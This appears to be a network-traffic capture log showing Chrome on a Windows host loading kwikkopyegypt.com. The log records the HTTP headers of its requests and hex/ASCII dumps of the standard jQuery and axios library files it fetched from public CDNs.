2025-03-10 12:50:44 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 10 Mar 2025 12:50:44 GMT Age: 2845275 X-Served-By: cache-lga21947-LGA, cache-ewr-kewr1740034-EWR X-Cache: HIT, HIT X-Cache-Hits: 4188, 1 X-Timer: S1741611044.445103,VS0,VE1 Vary: Accept-Encoding
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2025-03-10 12:50:44 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.25	49750	151.101.130.137	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:44 UTC	667	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: https://kwikkopyegypt.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:50:44 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 10 Mar 2025 12:50:44 GMT Age: 2270869 X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740048-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 1 X-Timer: S1741611044.448381,VS0,VE1 Vary: Accept-Encoding
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2025-03-10 12:50:44 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2025-03-10 12:50:44 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.25	49755	104.17.25.14	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:44 UTC	651	OUT	GET /ajax/libs/axios/0.20.0/axios.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:50:44 UTC	960	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:50:44 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"649629d3-133f" Last-Modified: Fri, 23 Jun 2023 23:25:07 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 379288 Expires: Sat, 28 Feb 2026 12:50:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tIaz65fVovF%2BcIrlquZkUeYn2SKxTEQ68uCJJIjsgE8aI2bbxNtmMkEp%2FpO0c6kUYKQMfQ1XwHpRku7qNw9w3MS8UVj3j%2Fg0Qmt7cnSS2ZsXQcMMWAgG%2BE6aUqq3I7vJTvJyeJr5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91e2f0848f7910be-ORD alt-svc: h3=":443"; ma=86400
2025-03-10 12:50:44 UTC	409	IN	Data Raw: 33 37 62 39 0d 0a 2f 2a 20 61 78 69 6f 73 20 76 30 2e 32 30 2e 30 20 7c 20 28 63 29 20 32 30 32 30 20 62 79 20 4d 61 74 74 20 5a 61 62 72 69 73 6b 69 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 61 78 69 6f 73 3d 74 28 29 3a 65 2e 61 78 69 6f 73 3d 74 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 Data Ascii: 37b9/* axios v0.20.0 \| (c) 2020 by Matt Zabriskie */!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.axios=t():e.axios=t()}(this,func
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 64 65 64 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 6e 3d 7b 7d 3b 72 65 74 75 72 6e 20 74 2e 6d 3d 65 2c 74 2e 63 3d 6e 2c 74 2e 70 3d 22 22 2c 74 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 31 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 76 61 72 20 74 3d 6e 65 77 20 73 28 65 29 2c 6e 3d 69 28 73 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 71 75 65 73 74 2c 74 29 3b 72 65 74 75 72 6e 20 6f 2e 65 78 74 65 6e 64 28 6e 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2c 74 29 2c 6f 2e 65 78 74 65 6e 64 28 6e 2c 74 29 2c 6e 7d 76 61 72 20 6f 3d 6e 28 32 29 2c 69 3d 6e 28 33 29 2c 73 3d 6e 28 34 29 2c 61 3d 6e 28 32 Data Ascii: ded=!0,o.exports}var n={};return t.m=e,t.c=n,t.p="",t(0)}([function(e,t,n){e.exports=n(1)},function(e,t,n){"use strict";function r(e){var t=new s(e),n=i(s.prototype.request,t);return o.extend(n,s.prototype,t),o.extend(n,t),n}var o=n(2),i=n(3),s=n(4),a=n(2
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 6f 6e 20 6d 28 65 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 42 6c 6f 62 5d 22 3d 3d 3d 52 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 28 65 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 46 75 6e 63 74 69 6f 6e 5d 22 3d 3d 3d 52 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 72 65 74 75 72 6e 20 70 28 65 29 26 26 79 28 65 2e 70 69 70 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 26 26 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 73 2a 2f 2c Data Ascii: on m(e){return"[object Blob]"===R.call(e)}function y(e){return"[object Function]"===R.call(e)}function g(e){return p(e)&&y(e.pipe)}function v(e){return"undefined"!=typeof URLSearchParams&&e instanceof URLSearchParams}function x(e){return e.replace(/^\s*/,
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 6e 65 77 20 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 2c 72 3d 30 3b 72 3c 6e 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 5b 72 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 72 65 74 75 72 6e 20 65 2e 61 70 70 6c 79 28 74 2c 6e 29 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 74 68 69 73 2e 64 65 66 61 75 6c 74 73 3d 65 2c 74 68 69 73 2e 69 6e 74 65 72 63 65 70 74 6f 72 73 3d 7b 72 65 71 75 65 73 74 3a 6e 65 77 20 73 2c 72 65 73 Data Ascii: n(e,t){"use strict";e.exports=function(e,t){return function(){for(var n=new Array(arguments.length),r=0;r<n.length;r++)n[r]=arguments[r];return e.apply(t,n)}}},function(e,t,n){"use strict";function r(e){this.defaults=e,this.interceptors={request:new s,res
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 22 5b 22 29 2e 72 65 70 6c 61 63 65 28 2f 25 35 44 2f 67 69 2c 22 5d 22 29 7d 76 61 72 20 6f 3d 6e 28 32 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 21 74 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 69 3b 69 66 28 6e 29 69 3d 6e 28 74 29 3b 65 6c 73 65 20 69 66 28 6f 2e 69 73 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 74 29 29 69 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 3b 65 6c 73 65 7b 76 61 72 20 73 3d 5b 5d 3b 6f 2e 66 6f 72 45 61 63 68 28 74 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6e 75 6c 6c 21 3d 3d 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 26 26 28 6f 2e 69 73 41 72 72 61 79 28 65 29 3f 74 2b 3d 22 5b 5d 22 3a 65 3d 5b 65 5d 2c 6f 2e 66 6f 72 45 61 63 68 28 65 2c Data Ascii: "[").replace(/%5D/gi,"]")}var o=n(2);e.exports=function(e,t,n){if(!t)return e;var i;if(n)i=n(t);else if(o.isURLSearchParams(t))i=t.toString();else{var s=[];o.forEach(t,function(e,t){null!==e&&"undefined"!=typeof e&&(o.isArray(e)?t+="[]":e=[e],o.forEach(e,
